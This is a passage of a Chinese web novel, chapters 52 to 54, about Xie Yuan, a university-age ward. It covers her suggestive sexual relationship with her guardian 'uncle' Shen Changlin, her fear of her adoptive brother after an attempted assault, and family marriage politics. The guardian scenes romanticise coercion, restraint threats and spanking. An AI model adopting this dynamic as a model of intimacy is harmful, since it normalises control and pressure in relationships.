谢沅抱着大大的盒子,她很想让保镖叔叔先离开,可他们很尽心尽责,不仅帮她撑伞,还温声询问:“小姐,要不我们帮您拿吧?”
她拼命地摇头。
“不用,不用,”谢沅红着脸说道,“是裙子,很轻的。”
即便如此,他们还是将她送到室内方才离开。
谢沅抱着那个大箱子走上楼梯,还没走两步,就遇到了阿姨,阿姨很热心:“小姐,我来帮您拿吧。”
阿姨一边说,一边就要接过去。
谢沅吓得差点将箱子弄掉,她紧紧地抱住箱子,连声说道:“真的不用,阿姨,都是裙子,很轻的。”
阿姨有些迟疑:“真的很轻吗?”
谢沅的手指都快要被勒红,她还是坚持地说道:“真的很轻,阿姨。”
说完她就紧忙上了楼梯。
兔子拖鞋踩在地板上,发出“哒哒哒”的声响。
直到走进卧室,再将门关上后,谢沅方才舒了一口气。
她还没做过这种事,只是把东西拿上来,耳根都要羞红了。
虽然叔叔那时要她赔偿,可刚出了这档子事,他应该不会再那么严苛,但东西已经买回来了,至少还要看一眼的。
谢沅的耳尖透着红,鼓起勇气去找工具。
她卧室里连把美工刀都没有,寻了半天才找到一根不用的中性笔。
箱子很大,里面的每一件裙子都又用小的盒子装着,谢沅为了掩人耳目,特地买了几条正常的裙子。
她一件件地拆开,越看越觉得不对。
水手服的裙摆怎么会这么短?薄毛衣的后背为什么是镂空的?还有、还有这个短裤居然是开档的!
谢沅看得快要昏过去。
她的脸庞像是熟透了似的,眼尾也红得厉害。
谢沅看都不敢再看,匆匆又把它们又装进了盒子里,最后放着的才是她原本要买的裙子。
连她以为正常的裙子都那样。
她都没法想象,这件本就特殊的裙子该有多……。
谢沅深吸了一口气,才颤着手将那件裙子拿出来,黑白色的女仆装却并非预想中的那般暴露,甚至有点可爱。
虽然相对大部分礼服裙子而言,要短很多,但还算是得体的。
真是峰回路转。
谢沅舒了口气,她轻轻地将裙子展开,然后强忍羞耻试了试。
她起居室里有一面很大的落地镜,在某些时刻常被用到,但正常试衣服用却还不多。
裙子很合身,衬裙是黑色的,然后有很多白色的撞色元素,细带又全都用的黑色,在锁骨处和后腰打了可爱的蝴蝶结,瞧着没有任何异常。
谢沅转了个圈圈,看着裙摆轻轻扬起。
她只在家里穿短些的裙子,在外时从不会穿过短的裙子。
一是因为失礼,二是因为沈长凛不允。
其实谢沅很喜欢看裙子荡起,转出好看的圈圈,她在落地镜前看了许久,准备将裙子换下来时,才发觉盒子里还有其他物品。
一对黑色的猫耳,看起来像小孩子文艺汇演用的。
一条粗粗的尾巴,毛茸茸的,就是顶端不知道是什么东西。
还有一个精巧的小铃铛,浅金色的,会发出很脆又很好听的声响。
谢沅坐在地上,强忍着羞耻将猫耳戴在头顶,然后把小铃铛也系在脖颈处,她看向落地镜中的自己,拿着毛茸茸的尾巴许久,也没有想出这个要怎么用。
没有系带,后腰处也没有磁吸。
她正在犹豫迟疑,门突然被人从外间打开。
沈长凛的声音有些冷:“谢沅,怎么不接电话?”
他刚回来,拨了两个电话过去,谢沅也没接,他知道她有时看书会不拿手机。
但昨晚刚出过那样的事,躁郁的情绪几乎是瞬时就生了出来。
人也不在卧室,也不拿手机,到底去干什么了?
沈长凛带着脾气推开谢沅起居室的门,已经快要外显的暗怒,在瞧清楚室内场景的刹那,全都消退了下去。
外面在下雨,起居室里有些昏暗。
谢沅坐在地上,雪肤白得像是在发光,尤其是在那身女仆装的映衬下。
短到连腿根都遮掩不住的裙子铺展开来,宛若盛放的黑白玫瑰,娇贵秾丽,馥郁生香。
再往上是被勾勒分明的腰线,细得不盈一握。
精致的锁骨处卡着的则是一枚小铃铛,轻轻地晃着,许是因为主人受到惊吓,头顶的猫耳也抖了一下。
谢沅的水眸懵懂,眼底尽是无措。
饶是淡漠从容如沈长凛,在这一刻也觉察到了血脉涌动的暗流感。
他神情愣怔,浅色的眼里亦透着少许愕然。
须臾,沈长凛才想起来,之前谢沅随着温思瑜去天行山露营,是说过会给他补偿的。
她脸皮很薄,他没想过她会兑现。
更没有想到她兑现得这样快。
沈长凛将门轻轻关上,然后走到谢沅的面前,他的薄唇微抿,低声说道:“……你休养要紧,不必着急这个,沅沅。”
他把谢沅抱了起来。
圆形的羊毛地毯很柔软,她受了惊,还没好全,在地上坐久了容易受寒。
被沈长凛抱起后,谢沅才从愣神的状态里挣脱。
她不着急,她也没打算告诉沈长凛这件事。
谢沅方才还在想,要怎么把这些裙子悄无声息地处理掉,结果他就突然回来了。
她的脸庞滚烫,把尾巴藏进掌心,热意从耳尖一路烧到脖颈,肩头都透着粉意。
谢沅羞得欲死,她摇着头说道:“我没那么想,叔叔。”
她正说着,手里藏着的尾巴突然落在了怀里,上面银色的尖尖顶端闪烁亮光,让原本还有些坦荡的话语突然就变了味。
沈长凛的眼眸也微微睁大。
他从谢沅手里将那尾巴拿了过来,迟疑片刻,声音微哑地问道:“我最近没有……你吗?”
谢沅陡地意识到这是什么,那个瞬间,她想死的心都有了。
第53章
猫耳和尾巴都是黑色的,毛茸茸的,看上去非常可爱。
谢沅的眼泪却是止不住地掉。
她的脸庞泛红,哭着坐在沈长凛的怀里,尾巴摇着恳求道:“叔叔,我想用晚餐了。”
浅金色的小铃铛晃来晃去,响个不停。
书房里很安静,这样的声响也就格外清晰。
沈长凛的指节轻抚过谢沅的后背和腰身,将她往怀里抱得更紧些,防止她乱动从他腿上跌落。
“稍等一下,沅沅。”他低声说道,“等叔叔把这份文件看完。”
沈长凛整日都很忙碌,上午才刚将上一则事处理完,下午好不容易得空还要继续看文件。
谢沅从来不是任性的孩子,可是她现在的承受已经快到极限。
柔软的猫耳抖动,弯折下来少许,就像是活得一样。
那根长长的毛茸茸尾巴也是,不住地晃来晃去。
谢沅莹白的足尖绷紧,水眸里也尽是泪意,委屈巴巴地说道:“你半小时前也是这么说的。”
她身上还穿着那身女仆装。
短短的裙摆连腿根都遮不住,露出大片的嫩白。
沈长凛摸了摸她的尾巴,低声哄道:“因为文件很重要,所以才要看很久。”
他的动作很轻柔,只抚了抚谢沅尾巴的尖尖,可她整个人都要炸毛,本就熟红的脸庞也更热,连眼尾都更红了少许。
她缩在沈长凛的怀里,不住地痉挛,喉间也溢出一声娇吟。
谢沅带着哭腔,颤声说道:“叔叔,你……你别摸尾巴。”
她不知道沈长凛怎么那么坏的,方才就一直欺负她的尾巴,现在忙着看文件,还不忘摸尾巴尖尖。
谢沅的眸里都是水,她委屈地还要再哭。
沈长凛紧忙哄她,轻将人抱在怀里,柔声说道:“好,叔叔不摸了。”
他保证不再摸尾巴后,谢沅才忍住泪意。
她靠在沈长凛的怀里,乖乖地等他看完文件,快七点时,他才将事情全都处理完,执着钢笔在末页签下飘逸的名字。
谢沅攀上沈长凛的脖颈,闷声说道:“待会儿我不要吃青菜,叔叔。”
她被欺负得狠了,也不会讨好处。
思索半天,想出来这么个要求。
沈长凛低笑一声,他吻了吻谢沅的额头,轻声说道:“当然可以。”
晚餐早已备好,他抱着谢沅下楼。
沈宴白不在家,被他抱下去时,谢沅的姿态都要放松很多,她不想再要尾巴了,可这时候留着尾巴要更好受一些,只要沈长凛不故意摸。
她实在是太饿了。
五点多时,谢沅就想用晚餐,沈长凛硬生生让她七点才用上。
下楼之后她便没再理他,自己夹着筷子,吃得飞快。
谢沅用餐慢,今天是难得的快,沈长凛想喂她,她也拒绝了,他只能用公筷帮她夹菜,这个她总算没有拒绝。
用完正餐,开始准备吃甜点时,她才慢下来。
在谢沅的水眸望过来时,沈长凛从善如流,将人重新抱在怀里,开始喂她吃甜点。
她最近很爱吃车厘子小蛋糕,微肿的樱唇含着去核的果肉,潋滟生光。
吃完以后,谢沅又乖乖起来。
她趴在沈长凛的怀里,由着他帮她擦净唇角。
用完晚餐后,沈长凛抱着谢沅上楼,他今天晚上难得有空,当然要多陪谢沅一会儿。
只不过她还没有意识到,拨弄着指节上的素圈,软声说道:“我的手指就是这个尺寸,叔叔,没有错。”
沈长凛推开门,轻声说道:“没错就好。”
“待会儿再看看款式,要是有其他喜欢的元素,直接告诉我就行,”他温声说道,“发消息或者画图告诉设计师也可以。”
沈长凛喜欢给谢沅定制礼服和饰品。
她没有多想,只当是跟颈链、手链般的物什一样。
当沈长凛在天已经深黑的情况下,还将卧室最厚重的那层帘子关上后,谢沅才陡地觉察到危险。
她眸里氤氲水汽,懵然地问道:“您待会儿不用开会吗?”
沈长凛轻笑一声,说道:“不用,今天的事情都结束了。”
他的容色那样俊美,神情也那样温柔,谢沅的猫耳却止不住地抖,脖颈前的小铃铛也晃来晃去。
“可是刚刚……”她抿了抿唇,“刚刚已经……,叔叔。”
谢沅本能地就想要逃,她不住地往后退,刚没有躲远,就被沈长凛扣住了脚踝,连人带尾巴一起拽回来。
尾巴连轻轻摸都受不了,更不要说他突然这样。
谢沅趴在沈长凛的怀里,身躯无法控制地震颤,腰身也霎时就软了下来。
“这几天没有喂饱沅沅,很抱歉。”他很轻声地说道,“以后不会再这样了。”
谢沅卧室的这张床是king size的,非常非常大,可就是这么大的一张床,也没让她寻到任何可以躲藏的角落。
沈长凛紧扣着她伶仃的足腕,轻轻把玩。
他眸色微深,缓声说道:“要我把你锁起来吗?”
谢沅缩在沈长凛的怀里,哭着说道:“我……我不躲了,叔叔。”
她的尾巴也落在了他的手里,被不轻不重地揉着,猫耳受不住地摇晃,小铃铛响了好久,将外面的雨声都给遮住了。
是最近过得太轻松,谢沅才忘记之前沈长凛是怎样强势的。
她哭到不行,讨好地将尾巴递到他的手里,然后又用小手覆上他的大掌,主动地扣住脚踝。
最后沈长凛才放过她。
被沈长凛抱去浴室的路上,谢沅快要昏睡过去,他轻声说道:“沅沅,还有尾巴。”
他拿着毛茸茸的尾巴,指节轻拢着尾巴尖尖抚来抚去。
谢沅陡地想起来还有这个,她清醒过来,含着泪看向沈长凛:“叔叔,明天……明天再处理,行不行”
他摇了摇头,吻了下她的脸庞:“这样不好,沅沅。”
谢沅没有反应过来,尾巴就被扣住了,她紧攀着沈长凛的肩头,在那个瞬间差些要将他的左肩给抓出血痕。
猫耳不断地抖,晃来晃去。
许久之后,她还带着哭腔低声呜咽,像是细弱的小猫叫声。
谢沅将身子背了过去,又用被子蒙住了头,默不作声地掉着眼泪,沈长凛临时接了个电话,回来见到她这幅模样,心都是软的。
他把谢沅从薄被里剥出来,轻声哄她:“不哭了,沅沅,你是不是有些饿……”
……要用点夜宵吗?
谢沅打断沈长凛,哭得更大声了:“我不饿,你以后都不要喂我了。”-
沈宴白去宁城多日,回来时已经是八月底。
燕大的暑假很长,到九月初也要开学。
谢沅的学分在大一大二修得差不多,通识课也早上得差不多,升大三以后,只剩下几门专业课要修。
所以她一点也不担心开学。
不过沈宴白不在的这几天,谢沅过得实在是混乱。
沈长凛之前的事已经忙完,开始休假,除非必要的事要处理,每日就是陪着谢沅玩和看书。
她看枯燥的德语原典,他也和她一起看。
谢沅已经学了一段时间的德语,也一直在上德语课,就是口语还不是特别好。
沈长凛在国外待得时间久,而且是先学的英语,后学的华文,在语言方面很擅长,不过他第二外语是法语,德语接触得不多,只学过一些。
为了跟家里孩子能多些共同语言,沈长凛也陪谢沅一起学德语。
他语言上的天赋强,没花费多少时间,就轻易追上了谢沅的进度,甚至快要能做她的语言老师。
两人一起看书、学德语,倒也还算正经。
直到那天谢沅想将衣服都处理掉,被沈长凛意外撞见,他掀起眼皮,神情有少许讶异:“你怎么买这么多?”
她的眼前发黑,樱唇也颤着。
“这不是我有意买的,叔叔。”谢沅红着脸说道,“是、是店家发错了。”
她笨拙地找着解释的词句,话还没说完,就被沈长凛抱了起来。
他若有所思,轻轻拢住谢沅的腰身:“抱歉沅沅,叔叔之前太忙了,没有顾上你。”
谢沅一点也不怪沈长凛。
她被他抱在怀里,细微地挣动着:“我真的没事,叔叔!”
然而谢沅这样的话语也被沈长凛当作口是心非,她脸皮薄,又放不开,偶尔想跟他亲近,也不敢言说。
他只能通过她的反应来判断。
实际上这个年岁的孩子,多少都是有些难抵御诱惑的。
谢沅虽然不说,可每次也会乖乖听沈长凛的,他让如何就如何,偶尔他迫使她言说那些话语,她为了能够……也会乖乖言说。
某样东西,她喜欢不喜欢,他比她还要清楚。
于是原本正经的休假,又恢复了惯常的夜夜笙歌。
谢沅卧室的帘子再没有拉开过,连三餐都是在楼上用的,她害怕被人发觉,强撑着下楼一两回,最后也全是被沈长凛给抱回去的。
她买的裙子实在不少,一天换两套,几天过去也没换完。
谢沅穿着水手服,坐在沈长凛的腿上,掉着眼泪问道:“您休假到底什么时候结束?”
这话说得很没良心。
沈长凛不轻不重地打了下她的软臀,水手服的裙摆很短,浑圆的雪肤上登时就落下了肿起的红痕,她紧咬樱唇,才把哭腔含在唇齿间。
他漫不经心地说道:“那么盼着我回去工作?”
谢沅眸里含泪,摇着头,细声说道:“没有,叔叔。”
“我……我就是担心您积累事情,到时候还要忙,”她抬起水眸,“您不用陪我这么久的,我真的没事了,叔叔。”
这话还差不多。
沈长凛揉了揉那红痕,轻吻了吻谢沅的额头:“不用担心,叔叔有在你睡着时处理事情的。”
她本就被逼得快要眼眸发白,这下更想要昏过去了。
如果不是沈宴白的事,沈长凛这回不会休假那么久的,他有很多方式可以盯着谢沅,但无论是哪一种办法,都不如直接陪在她身边,更让他感到安心。
小孩子嘴上从来不说,但他知道,有些事情她是喜欢的。
沈长凛希望谢沅能高兴些。
他抚了抚她的后腰,把人从腿上抱起,低声说道:“你要是愿意,也可以跟我一起去书房。”
谢沅不愿意,她摇着头,连声说道:“那、那不太成,叔叔!我会扰了您的……”
她昨天才被沈长凛哄去书房选戒指,十分钟就选好了,可接下来两小时都耽搁进去了。
原本晚上谢沅是想看一点书的。
这样的生活直到沈宴白回来才结束,他一去宁城许多天,又连日都在外边,脸庞的颜色都深了少许。
谢沅数日过得混乱,今天沈长凛总算离开,她才得以睡了个懒觉。
她昨天就跟阿姨说不吃早餐,睡醒后又赖床好久,快十一点时才觉得饿,想去楼下拿几盒冰激凌上来。
小冰柜里的冰激凌全都吃完了。
最厚重的窗帘被拉上后,谢沅分不清昼夜,总是肚子开始叫时,才能够意识到已经是半夜。
她累得动都不想动,连夜宵都不想吃。
沈长凛无法,只能喂她吃点水果和冰激凌,他平常总不允谢沅吃太多凉的,这时候却做什么都只能哄着她来。
她的眼眸还含着泪,吃冰激凌时却很开心。
一眨眼小冰柜里的冰激凌竟然全吃完了。
谢沅去楼下拿,抬起眼眸就和回家的沈宴白对上视线,他推着行李箱,一身深色西装,眉眼间带着倦意,有些风尘仆仆。
这是那个晚上过后,他们二人第一次再见。
谢沅站在阶梯上,扶着扶梯的手轻颤,容色略微有些苍白。
她倏然发现她开始怕沈宴白了,这种恐惧和之前的那种害怕不一样,更类似于她对林家那个男人的恐惧。
谢沅的创伤后应激障碍一直都很严重。
这些年沈长凛寻了很多国内外有名的医生,她也没能好转多少。
谢沅低下眼眸,错开沈宴白的视线,但就这么片刻的功夫,她的额前也冒出了冷汗。
他似乎有话想跟她说,目光一直望向她。
谢沅却无法承受沈宴白的视线,她站在阶梯上,身躯颤抖,几乎是下意识地就转过身去,躲进了房间里。
她曾经是多渴望他能够回眸,看见她的存在。
可现在只是被沈宴白多看一眼,她就控制不住地生出恐惧-
谢沅午餐也没下楼,阿姨把餐食装进盒子里,然后给她送了上来。
她看着托盘里精致的饭食,腹中早已空空,却还是吃不下去,最后去洗手间干呕着吐了一回,胃里才没再犯恶心。
身体的反应比心理还大。
谢沅握着手机,很犹豫要不要给医生拨电话。
但一想到,她这边刚打通电话,那边沈长凛也知道了,她最终没打这个电话。
可能是这几天没有休息好。谢沅催眠着自己,然后又爬上床。
这些天沈宴白是给她发过消息的,其实霍阳也给她发过,但她都没有回。
现代社会最大的便捷就在于此。
哪怕相隔再远,两个人也能轻易联系上。
谢沅只看了一眼,沈宴白发了很长的一大段消息,都是道歉的话语,在她扫见的只言片语中,透着的尽是真挚。
但她没有勇气去看。
明明已经过去很多年,谢沅印象最深的,还是读高中时的沈宴白。
那时候哥哥也风流桀骜,却不是后来那般无所顾忌。
沈宴白是学校的风云人物,谢沅还没考上云中时,就听人提起过他,整个学校里就几乎没有不认得他的人。
他朋友很多,虽然身份尊贵,却从不仗势欺人。
沈宴白傲慢不驯,性子张扬,他却并非纯然的不守规矩,而是很善于利用规则,在既定的规矩中做自己想做的事。
读书时,很少有人能够拒绝这样的学长。
但对谢沅来说,高中时的沈宴白还要更不一样些。
谁也不会知道,那个万人瞩目的沈家大少爷,其实是她家里的哥哥,他们同住在一个屋檐下。
这是一个甘美的秘密,被谢沅藏在心底好多年。
除却圈子里的人,几乎没人知道他们暗里的关系。
谢沅曾经被沈宴白说重话,都会难过得好几天睡不好,但现在这个走过她整个青春的人,却只令她感到害怕。
他其实早就变得陌生,变成她不熟悉的模样。
只不过谢沅的世界太乏味,太缺少一个能够照亮她的支柱,方才会一直念着回忆里的过去。
圈子里的权贵很多,不择手段的有,阴狠冷戾的有,薄情寡义的也有。
不久前,谢沅还差些被岑家的那个纨绔下药、绑架。
物以类聚,人以群分。
哥哥只不过是女人缘很好,从来不须要主动追人,其实他和那些强掠寻常姑娘的公子哥们,本质是一类人。
某一天,有人开始拒绝他时,他会做出跟他们一样的事,这并不奇怪。
只是谢沅没有想到,那个人会是她。
她蜷缩着身子,心脏也在微微地抽痛。
以前明明讨厌她,却还会在她危急时将她救下的哥哥,为什么会变成现在这个样子呢?
叔叔知道这件事时,该多难过。
谢沅的思绪很乱,但杂乱的心念到了最后,又全落在沈长凛的身上。
他对她很好,对沈宴白也很好,如今出了这样的事,他一定很为难,沈宴白毕竟不是霍阳,是他关爱有加的亲侄子。
沈宴白怎样想,谢沅是控制不了的。
谢沅只知道,她绝对不能让沈长凛知道,她曾经喜欢过沈宴白的事,无论是出于什么缘由。
想清楚这一点后,她的身躯不那么紧绷,慢慢地就睡了过去。
谢沅不知道,在她睡下不久,沈宴白再度来到了她的门前,他的手已经抬起,马上就要叩响她的房门,最终还是落了下来。
他扯唇自嘲地笑了一下。
谢沅就是再单纯善良,应当也不会想见到差些就伤害她的人吧?
沈宴白也说不清那晚到底是什么在支配他,压抑经久的恶欲来势汹汹,把他的理智全都吞噬,让他差些就犯下弥天大错。
在宁城的这些天,他从早忙到晚,累到脚不沾地。
可晚上阖上眼时,脑海里总还会浮现谢沅的脸庞,她含着泪,眸里尽是恐惧和绝望。
只要一想到那样的情形,沈宴白就觉得胸腔里有一处在作痛。
但这些到底都是想象。
方才谢沅的目光望过来,然后又径直离开时,沈宴白才觉察到那种深重的钝痛感。
她眼里没有厌烦,却是另一种比嫌恶更令他胸腔作痛的情绪。
谢沅在害怕。害怕她曾经最向往的哥哥。
沈宴白在谢沅门前站了许久,最后还是沉默地离开,他给霍阳打了电话,声音飘忽地问道:“打牌吗?”
谁能想到呢?
从前他整日出门是为了避着谢沅,现在则是为了让谢沅能避开他。
谢沅是很喜欢在岛台边用餐的,如果他不在家里,她应该愿意下楼用晚餐吧。
霍阳当然答应,他最近对沈宴白那可真是有求必应,几乎将他当亲兄长在孝敬,笑着应道:“沈少发话,那霍某就算没空也要奉陪。”
沈宴白胃病严重,最近滴酒未沾。
之前体检报告肺病也有再起的势头,他连烟都抽得少了很多。
霍阳经常做局,他身边的那群狐朋狗友又都跟他似的很闲,每日就是在各处玩。
沈宴白过去时,几人才从网球场上下来。
这些天宁城明家的那位太子爷一直在燕城,他们陪着招待,正经事没做多少,就是网球打得很凶。
连着几日下来,连霍阳的手臂都开始酸痛。
最后没法,还是请了职业网球运动员来作陪。
不过休息一段后,霍阳的网球瘾是彻底犯了,连之前准备好的山也不攀了,得空就去网球馆里消磨时光。
要不是沈宴白回来,他们估计到晚上才会回来。
一见到他,霍阳就笑着走近,谦声说道:“沈少辛苦了。”
沈宴白嘴里叼着烟,漫不经心地点燃:“不辛苦,还得是你们辛苦。”
明席要跟温思瑜联姻的事,基本上可以说已经板上钉钉,他远在宁城,也知悉这边的情况。
沈宴白跟温家关系不好,跟温思瑜这个表姐关系尤其的差,他要是不主动提,谁都不敢再他跟前轻易提起。
霍阳面上带笑,说道:“我们也没什么辛苦的,就是陪着明席到处玩罢了。”
沈宴白主动提起温家的事,他的心思很快也就活泛起来。
温怀瑾之前一直在国外,霍阳跟他打交道不多。
不过这几回下来,霍阳也能感觉到,这是个心思阴沉的男人,在天行山时温怀瑾都那样挑衅上来了,那就不能怪他反击了。
霍阳眉眼阴翳,轻拨了拨额前的碎发。
他一边带着沈宴白往里走,一边状似不经意地笑说道:“哥,您跟我们透个准信,免得到时候冲撞,沅沅妹妹和温家的喜事,是不是也将近了?”
第54章
谢沅一觉睡到了晚上八点多。
她眉心颦蹙,身躯缩成一团,眼尾也有少许泪痕,像是做了噩梦。
沈长凛抬手抚上谢沅的额头,低声叫醒她:“沅沅。”
她的额头冰凉,没有发热,但一看就是有些不舒服的。
他才刚离开一天。
谢沅懵懂地睁开双眼,沈长凛将她抱起,喂她喝了点水,轻声问道:“是哪里不舒服吗?你睡了一整个下午。”
她才从混乱的梦里挣扎出来,反应有些迟钝。
“没有不舒服,叔叔。”谢沅摇摇头,“就是昨晚没有睡好。”
她低垂着眼帘,声音细弱。
谢沅的身体其实和同龄人相比,并不算差太多,只不过沈长凛对她的关心总是过度,才会将她当成娇弱的花朵来对待。
他抚了抚她的脸庞,声音低柔:“那饿了吗?要用晚餐吗?”
谢沅点点头,软声说道:“饿了,叔叔。”
沈宴白不在家,他跟霍阳出去,每回都要凌晨才会回来。
沈长凛抱着谢沅下楼,轻声说道:“要是还不舒服的话,明天就别去温家了。”
温家和明家的联姻进行得很快。
其实两家早先就有联姻的准备,不过是因为后来温思瑜和秦承月有了牵扯,这事才耽搁了一段时日。
世家子弟的风流韵事,鲜有少的。
哪怕像明席那样专注网球的人,也有过不少女友,婚前都是这样,就是婚后,照样有许多夫妻是各玩各的。
只要别闹到台面上,干什么都成,就是意外闹到台面上,及时收尾压消息也一点事都没有。
毕竟这个圈子就是这个样子的。
前不久温思瑜还为了秦承月大发脾气,两个人分分合合,纠缠多时,一转眼她就要和明席订婚了。
谢沅抿了抿唇,细声说道:“我没关系的,叔叔。”
沈长凛休假多日,最近又开始忙起来,陪谢沅用完晚餐他便又离开了。
大雨早就已经停了,今夜是一个很好的晴夜。
谢沅看向岛台外的白色玫瑰花,撑着下颌凝眸看了许久,这几天过得太放松了,她差些又要忘记她自己的事情。
和秦承月的婚约彻底断了,和霍阳的事也搁置下来。
沈长凛说不会将她嫁给别人,但是以后呢?
谢沅开学就要大三了,燕大保研比例很高,哲学系的尤其高,之前她从来没有幻想过继续读书。
她的人生很早之前就被规划好了,二十岁订婚,本科毕业结婚,然后相夫教子,做秦家没有什么用处的少夫人。
谢沅成绩很好,如果想要继续读书,非常简单。
可是沈长凛没有发话。
就是沈宴白也从来没有提过,要继续让她读书的事。
在他们这个圈子里,读书的用处并不大,许多人会去镀金,但或许一回学校都没有去过。
谢沅将来又没有家业要继承,读书对她而言就更没用了。
她祖父谢敏行只有父亲一个遗腹子,父亲谢知也只有她一个孩子,谢家曾经是辉煌的世家,哪怕经了那么些年的动乱,积累下来的资产也不少。
谢敏行当年实在是太耀目了,哪怕他留下来的手稿也足够谢沅活。
然而也正是因为祖父的声名太盛,母亲冯依才不会甘于平凡。
谢知一生都没有以谢敏行之子的身份,在人前炫耀过,可后来几乎所有人知道,冯依是谢敏行的儿媳。
如果谢知还活着,冯依会疼谢沅一辈子。
她非常宠爱唯一的小女儿,谢沅用餐的习惯不好,就是因为小时被母亲娇惯得太甚。
可是后来谢知不在了,谢沅就再也不是冯依的宝贝了。
但不管怎么说,他们留给她的东西是很丰厚的,丰厚到哪怕沈长凛没将她带到沈家,她也能好好地活一辈子。
固定的资产在谢沅手里没什么用,全是沈家在帮着打理。
她甚至从没去看过她的房子。
祖父谢敏行留下来的手稿,谢沅也全捐给了江省的谢敏行纪念馆。
那些东西对常人来说或许丰厚,但跟沈家早先给她备的嫁妆相比,就是九牛一毛了。
除了读书,谢沅一直都没有什么能做的事情,她常年被养在内宅里,状态时好时坏,也没什么独立生存的能力。
曾有人言说她母亲没了男人就没法活。
其实她才是真正的菟丝花,她向上生长的能力早在太久之前就被人剥夺。
沈长凛虽然疼她,但也没有让她长成参天大树的意思。
谢沅垂着眸子,思绪越来越乱。
其实不读书也没什么,能够不一毕业就嫁人生子就已经很好了。
她说着是在读书,其实好些时候都是在给沈长凛添乱,她经常要去学校,他就要专门令人陪着她、护着她,很费人力。
在家里看书明明也是一样的。
夜色渐渐幽深,沈长凛发来消息说今晚回来要迟,让谢沅先睡,她没在楼下多待,防止再跟沈宴白撞上,捧着一杯热可可就上楼了。
她的房间里有一个很小的保险柜。
那是很早之前父亲谢知买给她的。
谢沅很小的时候,就会写日记,刚开始是用密码本,后来父亲知道后,就给她买了一个小柜子。
在林家时,她写得很多,又乱又杂,都是纷扰的记忆。
含蓄而凌乱,有时候谢沅自己看,都想不起来写的是什么。
近来她已经许久没写,但沐浴完后,她再度将小柜子给打开了。
最近真的太久没写了,上一回的记录还停留在五月——
【跟思瑜姐姐去摘樱桃,樱桃很好吃,带回来后阿姨做成了蛋糕,叔叔也说很好吃。】
才过去了三个月,却久远得恍若隔世。
谢沅提起笔,轻轻地掀开新的一页-
谢沅说没睡好,是糊弄沈长凛的,没有想到一个晚上过去,竟然真的有点不舒服。
早上一睡醒,她就有点头晕。
上回低烧拖成高烧的经历太惨痛了。
谢沅不敢乱来,立刻就拿了体温计,然后含在口中,看到体温正常,她方才松了口气。
但或许是真的没有睡好,她没什么精神,早餐也只用了一点。
沈宴白昨夜回来得迟,用餐的时间跟她错开,她也不必担心会撞见他。
可两个人同住在一个屋檐下,总会有再见到的时候。
谢沅下午要去温家,沈宴白在露台抽烟,他心情看起来不太好,烟气很重,不知道抽了多少根。
她路过时,第一时间没有注意到黑暗里的他,只是下意识地皱了下眉。
谢沅不喜欢烟味,沈长凛从不在她跟前抽烟。
但沈宴白不知道。
他倚靠在墙边,听到谢沅低咳起来,才陡地意识到这件事。
她好像不太喜欢闻到烟味,霍阳跟秦承月他们,在有她在的场子时,似乎也从来不会抽烟。
沈宴白将烟掐灭,低声说道:“抱歉。”
听到他的话音,谢沅才发觉哥哥也在。
两人昨天的那一面见得很匆忙。
那时候谢沅一看到沈宴白,身躯就紧绷起来了,现在她缓过来很多,脑中又晕晕乎乎的,情绪反倒没那样乱了。
她穿着绿色的半长裙,乌发披散。
开衩的礼服裙很漂亮,将细腰勾勒分明,其下是白皙的长腿,绿色的腿环隐约可见。
曾经穿着不合脚鞋子都不敢多言的小姑娘,已经能自然地踩着高跟鞋走路了。
谢沅低垂着眼眸,轻声说道:“没事,哥哥。”
她是沉默寡言的,也是光彩照人的。
之前有婚约在身上,从没人敢向谢沅出手,如今和秦家的事彻底断了,可不就是有人想要来争抢吗?
别的不说,单单冲着谢沅的容色,便有人想要将她娶回家。
沈宴白能感知到她的疏离和紧张,到底没忍住,又低声向她说了一句:“上回的事,对不起,沅沅,我当时有点醉。”
他当时犯了胃病,哪里可能会喝醉?
不过就是说辞而已。
谢沅是个很有礼貌的孩子,哪怕旁人冒犯到她,她也会轻声说“没关系”。
可望向沈宴白时,她却说不出这样的话。
就好像面对母亲冯依和那个男人,谢沅觉得她一辈子都说不出原谅的话语。
那天急救结束时,被从手术室推出来时,她是见到过冯依的。
嫁入林家以后,冯依再也没有管顾过谢沅,但谢沅到底是冯依的独女,血脉相连的孩子。
冯依双眼通红,就像是几天几夜没有睡过,她紧紧地捧住谢沅的手,满眼都是悔恨:“沅沅,妈妈不是有意那样对你的!”
谢沅不知道冯依对她还有几分真情。
她慢慢地,慢慢地将手抽出来。
谢沅低着眸,声音细弱:“我们以后,都不要再见面了。”
她再也没有叫过冯依妈妈,也再没有见过冯依一面。
沈长凛在电话里给的条件很简单,要谢沅做沈家的女孩,要她将来嫁去秦家,其实哪怕沈长凛要她生、要她死,她也一定会答应他。
当那双手把她从深渊里拉出来时,她这辈子就没有能拒绝他的事了。
谢沅抬眸看向沈宴白,很轻声地说道:“我要先走了,哥哥。”
然后她转过身去,无声地下了楼。
沈宴白抬起的手臂,一点点僵硬地落下来,他站在黑暗里,轻轻地往后倚靠,许久都没说话。
谢沅走下楼梯,然后出门坐进车里。
午后的阳光很好,她拍了几张外面的天空,然后连同刚才试衣服时拍的照片,放在一起发给沈长凛。
【我出门了,叔叔。】
沈长凛还在开会,应该晚些时候才能看到。
谢沅低下眼眸,翻看了片刻的手机,过些天就要开学,社交平台里的大家还在天南海北地玩。
他们之前的那个群里,余温还在狂发东西,嚣张地嘲笑那个要补作业的男生。
数学系是全校最辛苦的院系之一。
他们有些课是要连上两个学期的,因为是同一个教授,同一门课程,有些教授就会布置暑假作业。
谢沅也发了个表情包过去。
她好久没跟他们聊天,可一看到这些消息,心里潜藏的阴霾也会亮堂起来。
二十出头的年岁,好像的确是要为这些事烦扰才对。
谢沅好久没有发言,几人也顾不上吐槽了,连着发来一连串【震惊】的表情。
她点开余温发来的那条语音,耳膜也差些被穿透。
【谢沅!你还记得大明湖畔的我们娘四个!】
谢沅把手机拿远,轻轻地敲键盘回复:“记得的。”
明明人也不多,但消息却像是弹幕似的,没一会儿就刷屏了。
谢沅看手机不是太多,之前霍阳总是跟她发消息,她不知道要怎么回,干脆将整个社交平台的消息提醒都关掉了。
然后所有的消息,她都没怎么看到。
余温消息发得太快,谢沅看都看不及,翻了半天,才看清楚余温在说云中百年校庆的事。
云中是云大的附属中学,但他们同届的很多同学都是来的燕大。
谢沅中学时就是缄默的性子,朋友不是很多,玩得好的同伴后来很多都出国念书,一转眼已经许久都没再联系。
她是很后来才知道,她跟余温也是同学。
谢沅没有看清楚别的字眼,只在看见某一条时,轻轻地顿了一下。
